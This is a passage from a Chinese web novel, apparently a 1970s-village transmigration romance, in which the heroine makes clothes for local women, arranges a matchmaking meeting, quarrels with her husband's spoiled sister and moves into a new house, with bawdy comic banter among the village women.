虽然他不会说这样的话,但听老战友们这样打趣他也不会恼。 看谢晚棠小脸还揪揪着,他想了想,宽慰她道:“结了婚有夫妻生活很正常,就算他们没看到这些抓痕,也不会觉得我们晚上会像兄弟一样睡觉。” 谢晚棠:“……” 二哥,你的安慰让人震耳欲聋→_→ “不管怎么样,以后还是小心点吧……”说完谢晚棠一点都不希望傅青山接话,她只想赶紧结束这个尴尬的话题,于是马上转移焦点道,“对了,跟你说个事!” 谢晚棠把玉秀看上工地上那个帅小伙的事告诉了傅青山,傅青山闻声道,“那我先跟大爷说说这个事,他觉得行再介绍两人认识。” 谢晚棠点头:“我就是这个意思。” 两人说话的工夫,听着大门响,小刚和妞妞喊“郭姨”,谢晚棠从窗棂往外一看,是郭燕来了,之前就约好今天来拿刘队长和许主任的衣裳,明天郭燕去镇上开会捎过去。 谢晚棠本来不想让傅青山出去了,怕他衬衣领上边露出来的抓痕被人看见,但现在她更怕郭燕这个老司机看见! 傅青山一说要先去支书大爷家,谢晚棠赶紧点头:“快去吧快去吧!” 两人一前一后往外走,傅青山出门,她去迎郭燕。 傅青山朝郭燕点了点头,郭燕笑道:“傅部长下班就去工地啊。” 玉秀的事还没定下来,傅青山也不多说话,嗯了声就走了,留给郭燕一个高大挺拔的背影,极近的距离,郭燕眼又尖,一下子就注意到了傅青山衬衣领上方延伸出来的红色抓痕。 谢晚棠本就心虚,看郭燕盯的方向更觉得可能要完蛋! 是以郭燕一转身,她就赶紧拉着郭燕往家里走,嘴上一刻不停:“刘队长和许主任的衣裳都做好了,不过她们的布料割得都有点多,每人都剩下一小块,这是她俩以后做衣裳的尺寸我写纸上了,你带给她们,以后可以就照着这个尺寸扯布就行,不浪费。” “剩的这些布头也拿回去存着吧,等着攒攒可以拿来我给孩子设计件拼接风格的,也好看。” “哦,对了,刘队长说她这几年一年比一年胖,我给她在腰这存了一块,你跟她说说,如果明年胖了穿着紧了,直接把外线拆了一放就行。” …… 谢晚棠绞尽脑汁不停说话,目标就是不给郭燕开口的机会,没准她一会儿就忘了呢! 她说了足足有五分钟,郭燕听得也很认真,一副听进去了的样子,时不时点头应着,谢晚棠实在是找不出话来了,也觉得应该是差不多了。 她才话落,郭燕突然笑眯眯,谢晚棠感觉郭燕这个表情怕是要开车,下一秒就听郭燕嘿嘿笑道:“昨晚跟傅部长挺刺激吧!脖子都给人挠红了!” 谢晚棠:“……” 什么都打不断郭老司机开车的决心和恒心吗??? 郭燕啧啧:“村里那些妇女就能瞎传,之前还传你们家傅部长那里受了伤不行,这哪里不行了?给你伺候得都爽成这样了!” 谢晚棠:“……” 姐啊!你可是七十年代的土著啊,为什么用词比我这个穿书人还大胆奔放啊!!! 而且傅青山确实是不行,只不过是你们想象不到、她也不能说的那种不行…… 郭燕想了想又道:“不过也亏得这些妇女瞎传,傅部长才能剩到这么大,不然他比你大那么多,他适龄娶媳妇的年纪,你还是个小女孩呢,这就叫缘分,该是你享的福,兜兜转转还是你的!” 谢晚棠在老司机面前根本不敢多说话,努力保持微笑脸点头:“燕姐说的是。” 最后郭燕笑着给她传授经验:“不过下次挠的时候往下点,后背那么大,对吧。” 谢晚棠不敢接话,整个后背其实都有…… 郭燕想到什么突然又笑得一脸银晦涩情:“要是觉得后背不过瘾,腰啊,屁股啊都行,我跟你说,不用害羞,这样男人其实也很爽的!” 谢晚棠感觉她的脸已经比烤地瓜还熟了!但又一句话不敢多说,生怕争论起来郭燕要跟她好好探讨夫妻生活如何更幸福这个隐秘话题。 好在郭燕来得晚,还要急着回去做饭,走得时候笑着拍拍她肩,压低声音道,“姐还有好些花样呢,等下次有空的时候再好好教你!” “……” 家里让郭燕开车开的,总感觉在这空间里待着,都透着一股子燥热劲儿。 好在农忙完这几天闲下来,把之前攒的要做的衣裳都做完了,谢晚棠搓搓烫人的脸,去天井里透透气。 兰兰去自留地摘菜还没回来,就小刚和妞妞在逗小黑玩,小黑长大不少,不再像小时候那么肉嘟嘟的,身形开始迅速抽条,小团子脸也开始变长。 谢晚棠记得以前在网上看过,说我们中华小土狗小时候萌萌哒,但是会燃烧颜值长大,而且还有一半的概率会成为龅牙dog。 谢晚棠蹲下,摸摸小黑的头,小黑热情地扬起小脸舔她手心。 嗯,颜值确实有点燃烧,但好在好像还没有龅牙的趋势,还算是个精神小狗。 谢晚棠难得空闲,悠哉地欣赏着天井里的小生命们。 小鸡小鸭又长大不少,就是不知道什么时候能下蛋,看着小鸭子,突然有点想吃咸鸭蛋了呢,姥姥腌的咸鸭蛋,蛋黄香香的流油,一想都要流口水了。 鸭鸭们要加油下蛋啊! 大刚的小菜园初长成,苔菜、茼蒿、菠菜都呈现出郁郁葱葱的架势,这几天晚上家里吃的青菜都是从大刚的菜地里拔的,就是不知道天冷了菜还能不能种了,等晚上问问大刚,不然冬天光吃萝卜、地瓜、土豆、南瓜也不太行。 晚上大刚回来,谢晚棠一问,还好,大刚说菠菜抗冻,一直能种,其他的不大行,但农业种植手册里讲了,只要控制好温度和阳光,有些菜也可以反季节种植,大刚说要试试弄个盆,冬天在窗台上种种试试。 谢晚棠一听,这不就是后来蔬菜大棚的原理嘛! 不错不错,不管怎么说,冬天也能吃上青菜,这就很好,不用担心缺乏维生素了。 可一问小鸡小鸭什么时候能下蛋,大刚看了看鸡栏鸭栏:“鸡要半年,鸭子,四个多月吧。” 谢晚棠……?? 这么久的吗?! 那这不年前都够呛能吃上它们的蛋蛋了…… 她心心念念了半下午的咸鸭蛋啊T-T 看看过两天傅青山歇班,一起去镇上扯料子缝被的时候,就先搞点鸭蛋回来腌上解解馋吧! 晚上傅青山从支书大爷家回来,说把情况跟大爷大娘都说了,傅青山没说玉秀先去看过的事,大爷大娘听了他介绍青年家里的人性都挺好,在工程队也有个学徒的活干着,挺满意,说让傅青山帮着安排青年和玉秀相亲看看。 谢晚棠想了想:“那要不就等周末你休息,上午叫到咱家来见个面。” 傅青山点头:“行,那你明天跟玉秀说说,明天下班我去工地也跟江建设说好。” 谢晚棠感觉江建设这名字有点熟悉,但一时又想不起来是在哪里听过:“江建设是谁?” 傅青山:“就是要介绍给玉秀的那个青年。” 江建设,大沟村工程队学徒,长相帅气,性格外向,爱说爱笑…… 多个标签重叠,谢晚棠突然想起来,江建设就是她穿的这本书里的另一个大佬配角,大江建设集团的董事长,未来S省的地产大亨! 书中,女主角夏竹读完大学后回村做了大学生书记,就是邀请了当时已经在S省赫赫有名的江建设,参与到建设社会主义新农村当中。 书里,江建设的奋斗经历非常励志,从一个山沟里走出来的小学徒,一路成为S省地产行业的龙头老大,而且长相帅气,性格讨喜,大江建设的广告都是他自己拍的,口号就是“我为自己代言”。 傅老太和傅青宁看不上的“没文化的搬砖的”竟是又一位未来大佬。 她突然感觉下午郭燕说的那句话真有道理,这就是缘分,该是你的,兜兜转转,终究都会是你的。 至于傅青宁,不是她的,饭喂到她嘴里,她死活也要吐出来。 第59章 投机倒把。 隔日上午,做衣裳的活都忙完了,谢晚棠帮着兰兰、傅大嫂和老三媳妇一起洗菜备料。 在天井就听着胡同里传来一连串脚步声和说笑声,好像还有郭燕的声音。 接着,门环从外边扣了两声,小刚勤快,跑去开门。 大门一开,谢晚棠就看到郭燕身后还有四五个妇女,都没见过,不是下沟村的,郭燕不会又给她带生意来了吧! 谢晚棠起身擦擦手,笑着把人迎进来:“燕姐,这几个姐姐是?” 郭燕笑道:“晚棠,你火了!” “啊?”谢晚棠一脸懵,这年头还能火了? 郭燕笑着给她一一介绍,郭燕身后跟着的五个妇女,全都是大沟镇各个村的宣传队长。 郭燕解释:“昨天我去镇上开会,把你做的衣裳给刘队长和许主任捎过去,开完会她俩一试,那个立整好看,被大家一顿夸,一听是你给做的,都让我带着来找你坐呢!” 几个人都不是空着手来找她帮忙的,每人都带了些自己村里的土特产来,煎饼、红豆、梨、苹果…… 几人进来把东西放在当门,跟傅大嫂和老三媳妇打过招呼后,跟着谢晚棠进了炕间。 因为昨天郭燕把剩下的布和以后要扯布的尺寸都写给了刘队长和许主任,其他几个宣传队长一看找谢晚棠做衣裳还可以省布料,就决定先来找谢晚棠量了尺,再去镇上扯布。 来回是多麻烦一趟,但省钱,现在不是农忙,大家也不缺这半天功夫。 定好款式,挨个量好尺寸,谢晚棠把每个人需要扯的布料尺数、线、松紧带和扣子数量算好,挨个写下来。 第一个量好尺的宣传队长闲来无事打量这个虽然小但透着温馨的小家,除了值钱的缝纫机和收音机,还有墙上醒目的“五好家庭”奖状,五好家庭每个村就三个名额,能拿五好家庭,说明小谢是很不错的好同志啊! 日子过得好,长得好看,手还这么巧! 宣传队长还注意到摞在红色樟木箱子上的一大摞各色布料,“小谢同志,你家里怎么这么多布料?” 谢晚棠闻声回头看了眼,还没来得及开口,郭燕先替她解释了:“她家孩子多,她对孩子可好了,吃穿都不小气,她去买布都是一次多买点回来屯着慢慢做,买的多比咱去买一尺还便宜3分钱呢!我家老刘上次做衣裳,我就是让晚棠给我捎的布,一身衣裳便宜了2毛多。” 几人一听,那还自己跑去买什么布?买了还得送来,还比谢晚棠买得贵,那不如从谢晚棠这儿买了,她这里花色也不比黑市上少。 谢晚棠听几个人这么说,犹豫了下:“这样好吗?不算投机倒把吧?” 郭燕嗐了声:“你又不是倒卖布料挣钱,你这给我们提供了方便,是我们麻烦了你,哪能算是投机倒把!” 几个队长也跟着点头:“就是!” 谢晚棠这才放下心,把那摞布料抱到炕上让她们挑:“那你们先挑颜色吧,有的颜色可能尺不够了,这周末我正好还要去镇上扯布缝被,缺的颜色我就给捎回来了。” 几个人挑好了布料颜色,索性线、扣子、松紧带也都让谢晚棠给一起捎着,谢晚棠按照每个人的尺寸和款式用料不同,算了算钱,几个人当场给了钱,约好时间,到时候做好了还是让郭燕到时候开会给捎过去,就不用再多跑一趟了。 谢晚棠把郭燕和几个宣传队长送走,回来老三媳妇啧啧赞叹:“二嫂你可真厉害,这出名都出到镇上了,这些宣传队长平时打扮得都最精神了,她们居然都来找你做衣裳穿,你真是咱们下沟村的大剪子!” 大剪子…… 这夸奖=_= 说着老三媳妇洗完菜擦擦手,拉着谢晚棠去炕间:“二嫂,你给我也量量做一身呗!我给你钱,周末你去镇上买布,给我也捎着!” 谢晚棠自然没意见,给老三媳妇量了尺记下尺寸,老三媳妇美滋滋地回家拿了钱过来给她。 老三媳妇和傅大嫂不一样的地方就是,傅大嫂心里先想着男人孩子,自己可以穿旧的,但要给男人孩子做新的,而老三媳妇则更会爱自己,老三一个男人可以穿带补丁的,她可得美美的才行。 傅大嫂属于那种传统的贤妻良母,老三媳妇则思想更现代一些,其实去掉了自私自利那些不好的品行,谢晚棠感觉老三媳妇跟她这个现代人思想更接近。 谢晚棠算了算做三个卧室的床单、被罩、窗帘,还有五个宣传队长和老三媳妇这六身衣裳,还得屯点料子给孩子们做冬天的棉衣棉鞋用,量巨大,看来周末歇班得让傅青山也一起去,不然她和兰兰两人还真运不回来。 而且量这么大,她到时候还可以再跟大姨砍砍价,一尺再便宜个2分应该没问题吧,买得多线都免费送,不用花钱。 说是不算机倒把,但布料加上配件,采购这几身衣裳的材料她挣个两块钱的差价轻轻松松,再加上大家带来的那些土特产抵作手工费,比下地挣工分可是多多了,还轻松好多! 果然有门技术傍身,走到天下都不怕呢! 周末。 吃过早饭,傅青山去接江建设。 男人脚程快,傅青山没多久就回来了,江建设今天换了身新衣裳,比那天在工地上看着更精神了,一进门就主动跟她打招呼:“嫂子好!” 爽朗阳光。 谢晚棠笑着把未来大佬迎进来:“建设来了,快进来,玉秀一会儿就来。” 江建设大大方方地哎了声,和傅青山一起进了当门,谢晚棠早就冲好了茶水,一边给他倒茶,一边让他上炕坐。 江建设赶紧从她手里接过茶壶,“嫂子我来,您别忙活了。” 说着熟练地给傅青山和她一人倒了一杯,最后才给自己倒上。 谢晚棠坐在傅青山身边仔细打量着,勤快又有礼数,干得熟练,一看就是常干,在家肯定不是娇生惯养的。 不错不错。 说话的工夫,听着门响,谢晚棠回头透过窗棂一看,“玉秀来了。” 大嫂何春月和二嫂林霜一块陪着玉秀来的。 谢晚棠出去迎,今天玉秀穿了那件粉色布拉吉,她本就白,粉色趁她的肤色,像含苞待放的花骨朵一样清纯。 加上因为第一次相亲有点害羞,白皙的脸颊微微泛着红,更透着一股娇嫩可爱。 江建设跟着谢晚棠出来迎,两人面对面对上视线的那一刻,世界仿若静止了,他们眼里只剩下彼此。 谢晚棠在一旁偷偷打量,江建设的耳朵尖一点点泛红,连社牛大佬都会脸红,这可能就是一见钟情的力量吧! 傅大嫂和老三媳妇搬着菜说说笑笑的从连廊过来,暂时打破了两人之间的暧昧气氛。 江建设回过神来,先打招呼:“玉秀同志你好,我叫江建设。” 玉秀点头:“你好,我叫傅玉秀。” 谢晚棠看两人被这么多人看着也不好意思说话,笑道:“玉秀和建设两人去屋里说说话吧。” 待两人进了炕间,谢晚棠给两人带上门,一出来老三媳妇就压低声音问她:“那个俊秀的青年是谁啊?” 谢晚棠:“给我们家盖房子的一个工程队小学徒,觉得人不错,就介绍给玉秀看看。” 老三媳妇:“不错不错,看着真精神,跟玉秀很配!” 谢晚棠嘿嘿一笑:“是吧是吧,男帅女俊,看着就养眼!” 老三媳妇点头:“对!” 两人在屋里聊了半个多小时,出来的时候站在一起,看起来郎才女貌。 玉秀虽然害羞,但唇角带着笑意,一看就是聊得不错。 谢晚棠和老三媳妇交换了眼色,都感觉十有九九成了! 送走相亲的小年轻,骑车去镇上采购。 夏知青今天要回家一趟,没法借自行车,今天就两辆自行车,小刚和妞妞就没跟着一起,托二刚帮着买书,大刚要在工地帮忙,也不去了,也托二刚帮着买书。 谢晚棠和傅青山、兰兰、二刚,四个人刚好骑两辆自行车去镇上大采购。 路上谢晚棠跟傅青山聊起玉秀和江建设相亲的事,傅青山也说,感觉两人有戏。 二刚坐在傅青山的后座,嘿嘿一笑,好奇道:“爹,那你跟我娘也是相亲一下子就相中了?” 谢晚棠:“……” 二刚哥,你好会问哦! 谢晚棠偏头看了眼傅青山,傅青山不会撒谎,又不想告诉孩子两人一开始合约婚姻的事实,一时被问得也不知该怎么说。 谢晚棠替他解围:“我跟你爹没相亲。” 二刚更好奇了:“那怎么结婚了?” 谢晚棠笑:“你爹长得好看,我就喜欢好看的男人,所以就嫁给你爹咯。” 傅青山闻声看过来,说不出是个什么表情,谢晚棠憋着笑,她也不算纯胡诌哦,颜值也是她当初选择傅青山的一个重要原因。 二刚闻声眼睛瞪得老大,一回想娘今天给玉秀姑姑介绍的那个男的也好看,瞬间忧愁了:“那完蛋了,我长得没爹好看,以后不会娶不到媳妇了吧!” 傅青山:“……” 谢晚棠噗嗤一声笑了:“男大十八变,你才9岁,可能还没长开哦~” 一路说说笑笑很快就到了镇上,先去供销社买上松紧带和扣子。 她跟供销社的售货员都熟了,见她买得多,供销社自然是不可能讲价,但售货员从柜台底下拿出来一盒去年卖剩下的过时的扣子,问她要不要,要就送她了。 谢晚棠一看,虽然颜色乌漆嘛黑的不大好看,不过给家里的男孩子用一点问题没有,她笑着谢过售货员,都要着。 这些日子做大锅饭,家里的虾皮和豆瓣酱下得快,这两样也补充上。 又买了4包小麻花,回去给傅大嫂和老三媳妇一人一包,她们俩又出菜又出力的,帮了不少忙。 从供销社出去,去书店买上书,最后直奔黑市大采购。 除了给几个宣传队长做衣裳的几身布料需要挑颜色,剩下做床单被罩窗帘的布料,谢晚棠直接挑了两辊子耐脏的料子,整个都要了。 前几次谢晚棠买的布料就不少,卖布的大姨就给便宜了,这次一次的量比前边几次加起来都多,谢晚棠试着砍价,二刚也帮着她砍,大娘最后每尺布又给下了5分钱。 别人零买一尺彩色土布是两毛八,她买只需要两毛,白色做被里子的棉布还便宜两分,只要*一毛八,这价格比她之前估计的还要低! 棉花大娘带的不多,而且她们一会儿还得去买肉买蛋,今天也带不了那么多,就跟大娘讲好了量和价格,让傅青山明天下班来捎着。 买完布又去买上谢晚棠心心念念的鸭蛋,最后去买猪肉。 谢晚棠和傅青山一人推一辆车子,车上装得满满当当,支都不好支,到了地方兰兰主动道:“我去买肉。” 兰兰去敲门,开门的还是上次那个高高瘦瘦的帅学徒,兰兰抿唇:“你好,要4斤猪肉。” 学徒愣了下:“是你。” 兰兰唇角扬起一点弧度,轻轻点了点头。 兰兰给了钱,学徒进去秤好了包好递给她,兰兰仰头看他:“谢谢。” 学徒被她清澈透亮的眼睛看得一怔,半晌没说话,直到看人转身要走,着急地脱口而出:“我叫罗淮。” 突如其来的自我介绍,兰兰愣了下,随即绽开花儿一般的笑意:“我叫兰兰,赵兰兰。” 叫罗淮的少年点头:“我记住了。” 谢晚棠车子没停得那么近,远远地看着兰兰都拿着肉了,还在跟卖肉的小伙子说什么,转身回来的时候,嘴角也微微上扬,心情不错的样子。 谢晚棠感觉不对劲,但一想,兰兰虚岁才15,是她想多了吧。 嗐,外貌协会看着好看的男孩子就想给拉红线。 路上一人买了个烧饼垫了垫,下午回去的时候快三点了,到家把东西卸下来,谢晚棠让傅青山割下来两份1斤左右的肉,一会儿给大嫂和老三媳妇送过去。 傅青山一拿起来肉,就微微皱眉,谢晚棠过来:“怎么,少秤了?” 傅青山摇头:“不是,这份量,不止4斤,至少得有5斤了。” 谢晚棠“啊”了声,也拎起来试,“确实是比之前买的3斤的沉不少,按理来说多1斤不该重这么多,不过多着总比少着好。” 傅青山点了点头,开始切肉。 兰兰在一旁卸东西听着,闻声心里一动。 切好了肉,又拿了两包小麻花,打发二刚给大嫂和老三媳妇送过去。 二刚送完东西刚回来,傅青宁气冲冲地找过来,一见着傅青山就叉着腰一副理直气壮的样子质问道:“二哥,你给玉秀介绍对象不给我介绍?到底谁是你的亲妹妹!” 谢晚棠:“……” 真是无了个大语! 难道不是她先拒绝了不要的?还说人家江建设是个没文化的搬砖的,没出息。 现在居然又来倒打一耙!好大个B脸! 第60章 我想和二哥,不想和它。 傅青山这个人性子冷,话不多,不爱跟人争执,被傅青宁这样无理质问,也只是冷脸皱眉,并没有骂回去。 谢晚棠甚至想象不出来傅青山骂人是什么样子,从来没见他骂过孩子们,他这样的气场,只要冷下脸来,就已经达到效果,根本不需要开口骂,孩子们就会立马严肃起来自我反省。 但傅青宁显然不像孩子们那般自觉有教养,见傅青山不说话,更觉得自己有理有气势了:“二哥,你去把江建设给我要回来!” 谢晚棠可没有傅青山那样的忍耐力和好修养,而且她的男人,她自己都没欺负过,傅青宁凭什么! 谢晚棠嗤笑:“你不是嫌搬砖的没出息吗?你二哥可是先问了你,你不要我才介绍给玉秀的,怎么着,相亲这种事还兴多吃多占的?” 傅青宁一听是她介绍给玉秀的,炮筒子一下子调转向她:“谢晚棠!原来是你!我就说我二哥不会胳膊肘往外拐!你这个贱人!就是见不得我好!” 傅青宁这声贱人一出,谢晚棠还没来得及说话,兰兰从当门里出来,冷脸朝傅青宁道:“小姑,你要是骂我们娘,以后我们家就不欢迎你来。” 二刚也冲过来:“小姑,你再骂娘,就滚出我们家!” 小刚和妞妞也气冲冲的挡在她面前:“不准骂娘!” 谢晚棠没想到孩子们已经会为她出头维护她了,心里暖呼呼的。 傅青宁不敢动她,抬手就要打几个小的,谢晚棠像老母鸡护崽一样,一把把几个孩子揽进怀里,“傅青宁!我看你敢!” 傅青宁见她哥不说话,胆子一下子更大了,蛮横道:“我是长辈!教训无礼小辈我有什么不敢的?!” 说着抬手就要打二刚,手还没轮到二刚面前,就被傅青山一把攥住手腕。 傅青山手劲大,又没收劲,傅青宁被攥得止不住哀嚎,嚎得傅老汉、傅老太、傅大嫂和老三媳妇都过来了。 傅老太也加入哀嚎的队伍,一边打傅青山,一边让他放开妹妹。 傅青山把傅青宁拉到一边才松开手,傅青宁靠在傅老太怀里,一看手腕通红一片,更加委屈:“二哥,我才是你亲妹妹!你怎么能为了一群没血缘的人这样对我!” 傅老太也跟着嚎:“你不光娶了媳妇忘了娘,你连你亲妹妹都忘了啊!” 母女俩矛头直指谢晚棠,傅大嫂和老三媳妇皱眉,走到谢晚棠身边,拍拍她肩膀。 傅老汉听着老婆闺女哭天喊地,哀怨地看了眼谢晚棠,又看向傅青山:“老二,你妹妹脾气是娇惯了点,你们当哥哥嫂子的让着她点就是了!弄得她哭成这样,传出去让人笑话,以后还怎么找婆家!” 谢晚棠一听傅老汉也来指责傅青山,真搞笑,刚要开炮,就听傅青山冷声道:“我当哥哥的可以让着她,但是她骂自己的嫂子是贱人,难道当嫂子的还得忍着让着她?!她是这个家的祖宗?几个嫂子都得由着她发脾气甩脸子?” 傅青山的话让傅大嫂和老三媳妇听了特舒坦,就是,她们又不欠傅青宁的,凭什么看她一天天那个死样子! 傅青山冷脸继续输出:“既然知道青宁被你们娇惯坏了,现在就该收敛,不然以后嫁出去到了婆家,也动辄就这么摔摔打打,张口闭口骂人,谁会这么惯着她?她以后的日子能过好了?” 傅青山平常话不多,傅老汉也没想到他会反驳,一时被噎得说不上话。 傅青山说完不再看傅老汉,转头看向傅青宁:“相对象不是买菜,可以来回挑挑拣拣,过去了就是过去了,没有后悔药,这件事以后不许再提!” 傅青宁委屈:“那我怎么办!” 傅青山皱眉:“天底下的男人不只有江建设一个!” 傅青宁吸吸鼻子:“二哥,那你必须保证再给我找一个比江建设更好看,更有出息的男人才行!” 她可听见三嫂跟三哥说了,二哥给玉秀介绍那个青年,好看俊俏得很!昨晚二哥跟她说的时候,可没说好看! 她从小什么都压玉秀一头,找对象这事,她绝对不能输给玉秀! 谢晚棠、傅大嫂、老三媳妇:“……” 谢晚棠无语是因为预知书中剧情,知道江建设后来是S省首富,整个S省都很难再有男人比江建设更有出息。 傅大嫂和老三媳妇无语是觉得,人家好看有出息的男人都是大傻逼,追着娶一个又懒又馋的丑泼妇回去? 傅青山也无语,半晌道:“我保证不了,我要是有这个本事,就不用上班了,早去天上当月老神仙了。” 傅青宁:“……” 傅青山又教育了两句以后要脚踏实地,不要好高骛远,就让傅青宁回去。 傅青宁走的时候看了一眼车筐里的小麻花,舔了舔嘴唇:“二刚给大嫂三嫂都送了小麻花,我和爹娘怎么没有?” 傅青山神色不变:“她们天天来帮着你二嫂干多少活,你二嫂感激,愿意给她们送,你呢?你帮你二嫂干什么了?” 傅青宁没讨着东西还要停训,哼了声走了。 傅老汉当着三个儿媳妇的面被儿子训了觉得没有脸,麻溜也走了。 傅老太盯着那车筐里的小麻花看了好一会儿,见老二没有一点要给的意思,也叹了口气走了。 傅青山帮着把沉的布料扛进去就去工地了,傅大嫂和老三媳妇帮着谢晚棠归置。 傅大嫂怕谢晚棠想不开,开导她:“有老二护着你,估计她以后也不敢来叨叨你。” 老三媳妇叹了口气:“快把她嫁出去吧,二哥说得好,在家里真跟个祖宗似的,她也是欺软怕硬,知道我不好惹,大嫂脾气好,分了家天天还狠哒大嫂呢。” 傅大嫂虽说是分了家,但是还得在一个当门刷碗做饭的,真是天天低头不见抬头见,比她和老三媳妇都遭罪。 谢晚棠想想那样的日子就头大:“等我们搬走了,大嫂你搬我们这边来住吧,省得天天见着那娘俩生气。” 傅大嫂高兴坏了,不知道该怎么感谢谢晚棠才好,晚上包的热乎肉包子,给谢晚棠送过来一大盆。 赶在入秋天凉前,谢晚棠把六身秋装做好,几个宣传队长的让郭燕捎去,老三媳妇来做饭的时候让她现场试。 老三媳妇试过满意得不得了,干活的时候怕弄脏了不舍得穿,吃过晚饭去王寡妇家闲拉家常就穿上了。 王寡妇眼尖,一眼就看出来她穿了新衣裳,一边摸一边夸:“怪不得都说人是衣裳马是鞍,这新衣裳就是好看,人都精神了!” 老三媳妇开心,拉着王寡妇美滋滋地夸谢晚棠:“好看吧!俺二嫂给我做的,俺二嫂手可巧了,眼光也好,她做的衣裳跟别人就是不一样!邻村那些宣传队长妇女主任都来找她给做衣裳呢!” 这些日子帮着谢晚棠做饭,相处多了,老三媳妇越发喜欢起这位年纪比她还小的二嫂来。 别看谢晚棠做家务笨得她都着急,做衣裳可是手巧得很! 而且相处久了就会发现她其实性格也很好,总能看到身边人的优点然后毫不吝啬地夸夸夸,那天她看谢晚棠忙,就帮着缝了缝扣子,谢晚棠就夸她缝得又麻利又好,夸得她都不好意思了。 而且一点都不吝啬,别人送来的、还有二哥买回来的好东西,谢晚棠都会想着她和大嫂,谢晚棠属于那种你帮了她一点,她会十倍回你的性格。 这个把月,她着实跟着谢晚棠沾了不少光。 王寡妇羡慕得不行,老三媳妇鼓动她:“你也可以去找俺二嫂做,俺二嫂家招待那些工程队干活的,缺菜,你家自留地那么多菜也吃不了,给俺二嫂送点菜当辛苦钱就成,而且俺二嫂买回来好多布,你都不用自己跑去买布了,直接从她那儿买点用就行,她买的多,比咱自己去买还便宜呢!” 王寡妇听老三媳妇这么一说,哪能不心动,但是有点犹豫:“哎,俺这个破嘴,之前得罪过你二嫂,她估计不愿意待见俺吧。” 老三媳妇嗐了声:“俺二嫂不是那样的人,明天头晌俺领你去。” 王寡妇高兴:“好!” 翌日一早,王寡妇去自留地摘了一大袋子菠菜来找老三媳妇,让老三媳妇带着她去找谢晚棠。 谢晚棠正在家研究着用白色的软棉布做个内衣穿,这个年代的肚兜她实在是穿不习惯,总觉得没有安全感。 不过内衣她以前没设计过,只能一点点摸索。 见老三媳妇领着王寡妇过来,谢晚棠有点惊讶,放下手里的活:“王姐有事?” 老三媳妇把王寡妇的来意说了,王寡妇也跟着不好意思道:“晚棠,我这嘴碎,以前我还说你们家青山不行,都是我这个破嘴,坏了青山的名声,青山跟你结了婚明明就很行!” 谢晚棠:“……” 怎么说是要来做衣裳的,聊着聊着又聊到行不行上了??? 谢晚棠礼貌微笑:“没事。” 王寡妇拍胸脯:“不过晚棠你放心,后来我都给青山正名了的!现在村里的妇女都知道你过得很幸福!炕上炕下都幸福!” 谢晚棠:“……” 一个郭燕、一个老三媳妇、现在又来一个王寡妇,70年代的农村妇女这么奔放的嘛!!! 谢晚棠轻咳一声,赶紧把布料抱过来:“谢谢王姐,那你快挑布料吧!” 王寡妇跟老三媳妇对视一眼,谢晚棠都让她挑布料了,那就是不计前嫌了,她高兴地去当门放下菠菜,出去洗了手进来挑布料。 王寡妇挑布料的时候,老三媳妇拿起炕上谢晚棠裁到一半的白色小布料打量:“二嫂,这是什么啊?” 谢晚棠解释要做个内衣,内衣这个词可能太时髦,老三媳妇想了想:“就是奈子罩?” 谢晚棠:“……” 救救我救救我! 这个张口就**涩情的年代啊! 谢晚棠扶额:“算是吧……” 老三媳妇拿着这小小布料看了看,不太明白怎么用,“这么小,这能罩住了?” 已经做到半成品了,谢晚棠隔着外衣给她演示了一下穿法,老三媳妇眼睛一下子亮了:“这么拖着,奈子就不容易下垂了!” 谢晚棠抿唇:“对,有托胸的作用。” 老三媳妇瞬间来了兴致:“二嫂,等着能给我也做件吗?你还没生过孩子不知道,喂完奶,奈子可容易下垂了,奈子一耷拉,穿衣裳一点都不好看!” 谢晚棠感觉自己的耳朵简直都要麻了,赶紧点头:“好好好!” 王寡妇挑好了布料,凑过来一看:“晚棠,我也想做个奈子罩,我奈子也耷拉!” 谢晚棠感觉脑仁都要爆炸了,点头表示没问题,赶紧拉着王寡妇量尺聊外衣款式,转移掉这个用词炸裂的话题! 给王寡妇量完尺,王寡妇给了钱,谢晚棠看了眼当门里那一大袋子菜,对王寡妇道:“姐,以后你和孩子需要做衣服就来,不用带东西过来。” 老三媳妇说那些宣传队长带来的东西谢晚棠都收了,不收她的,王寡妇自然知道谢晚棠是照顾她是个寡妇,觉得她一个人带俩孩子不容易。 她男人是烈士,她一个人带着两个儿子是不容易,但政府每个月都给她补贴,虽然辛苦点,但钱上她不缺。 王寡妇坚持:“那不行,一码归一码,你做衣裳也耽误工夫!” 从这件小事上,谢晚棠能看出来王寡妇虽然嘴碎,但是个很有原则的人,怪不得之前妇女主任刘秀香跟她说,王寡妇心不坏,就是坏事坏了个嘴上。 谢晚棠也不是个爱墨迹的人,王寡妇坚持,她也不推辞,笑道:“行,那就谢谢王姐的菜了,家里正缺呢。” 至于内衣,谢晚棠还没研究好,需要一点时间修改调整,跟王寡妇和老三媳妇约好等成型了,再让她们来量尺寸。 王寡妇一听,惊讶:“做个小奈子罩还要量尺寸啊?” 老三媳妇嗐了声:“那当然啊,奈子也有大小啊,俺二嫂这没生养过的小奈子,能跟咱的一样大啊!” 谢晚棠:啊啊啊啊啊!!! 这群老司机怎么张口就来啊!她简直一点防备都没有! 王寡妇闻声笑着看她肚子:“晚棠,还没动静?” 谢晚棠抿唇摇头,感觉王寡妇下一句就要催生! 王寡妇笑道:“没事,不急。” 谢晚棠长舒一口气,赶紧点头:“嗯。” 王寡妇摸摸她平坦的小腹:“青山体格那么好,没准一下来个双棒呢!” 谢晚棠:“……” 好好好,这更狠,直接催到双胞胎了…… 谢晚棠苦笑:“顺其自然吧。” 傅青山给了工程队一些加班费,工程队起早贪黑地干,刚转凉入秋,框架就起来了。 王寡妇主动帮着召集了一帮妇女去帮着谢晚棠绑把子,妇女们一起干活的时候闲聊,王寡妇穿着谢晚棠给做的新衣裳,帮着谢晚棠好一波宣传。 上梁这天,傅青山买回来两个猪脸,不光招待了工人,连带着这些日子帮忙绑把子的妇女们也带着家里的孩子来开了一顿荤。 上完梁,谢晚棠在家赶新房的窗帘床单被罩,还接了一波村里社员的单,都是听了王寡妇的强力推荐来的,又完成了一小波投机倒把。 入冬前新房就完工了,搬家这天,傅青山找了辆驴车来,早晨4点半天还没亮,就和大刚一车一车往新房拉,兰兰和二刚在旧家里打包,谢晚棠带着两个小的在新家归置。 谢晚棠第一次起这么早,却一点都不觉得累,看着亮堂堂的新家,日子越来越好,只觉得胸中有一股用不完的能量。 最后一车拉来的时候,兰兰和二刚跟着一道过来,端来了两大盘谢晚棠委托傅大嫂和老三媳妇帮忙包的大葱肉馅的白面饺子。 搬家得有个开锅仪式,吉时在新家用新锅开火,做一顿饭吃了,寓意好兆头。 